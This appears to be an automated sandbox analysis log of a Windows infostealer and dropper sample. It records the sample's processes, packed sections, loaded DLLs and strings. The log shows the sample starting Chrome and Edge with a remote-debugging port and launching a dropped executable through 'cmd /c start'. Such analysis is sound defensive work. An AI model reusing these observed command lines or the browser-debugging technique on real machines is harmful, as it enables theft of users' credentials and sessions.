Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0019CB18	22_1_0019CB18
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00281D43	22_1_00281D43
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001F29B9	22_1_001F29B9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016E7A5	22_1_0016E7A5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_002223E9	22_1_002223E9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001921F3	22_1_001921F3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00147049	26_2_00147049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00148860	26_2_00148860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001478BB	26_2_001478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00142D10	26_2_00142D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0010E530	26_2_0010E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_001431A8	26_2_001431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00104DE0	26_2_00104DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00104B30	26_2_00104B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00137F36	26_2_00137F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0014779B	26_2_0014779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF29F30 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF709D0 appears 250 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE13620 appears 63 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF7DAE0 appears 55 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF7D930 appears 44 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE19B10 appears 72 times

Source: file.exe, 00000000.00000002.1920771191.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vxiwxizj ZLIB complexity 0.994679215793031
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: random[1].exe.0.dr	Static PE information: Section: ouutfhzy ZLIB complexity 0.9947136275097392
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: Section: ouutfhzy ZLIB complexity 0.9947136275097392
Source: skotes.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: skotes.exe.20.dr	Static PE information: Section: ouutfhzy ZLIB complexity 0.9947136275097392

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/290@28/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE50300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE50300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\FB6HL3NN.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8940:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\e04ada0c-0d65-4537-aa92-72638ae1b819.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1649184379.000000001D43B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1562275915.000000001D439000.00000004.00000020.00020000.00000000.sdmp, AKKKFBGDHJKFHJJJJDGC.0.dr, AKFHDBFIDAECAAAKEGDA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1919514082.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1905113290.000000001D535000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFHJKKECFIE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2224,i,15428073326921430912,4792700764699708340,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,8283749054754101398,9414593298289081245,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6672 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJKKECFIE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHJKKECFIE.exe "C:\Users\user\DocumentsFHJKKECFIE.exe"
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6880 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJKKECFIE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2224,i,15428073326921430912,4792700764699708340,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,8283749054754101398,9414593298289081245,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6672 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6880 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6880 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHJKKECFIE.exe "C:\Users\user\DocumentsFHJKKECFIE.exe"
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: chartv.dll
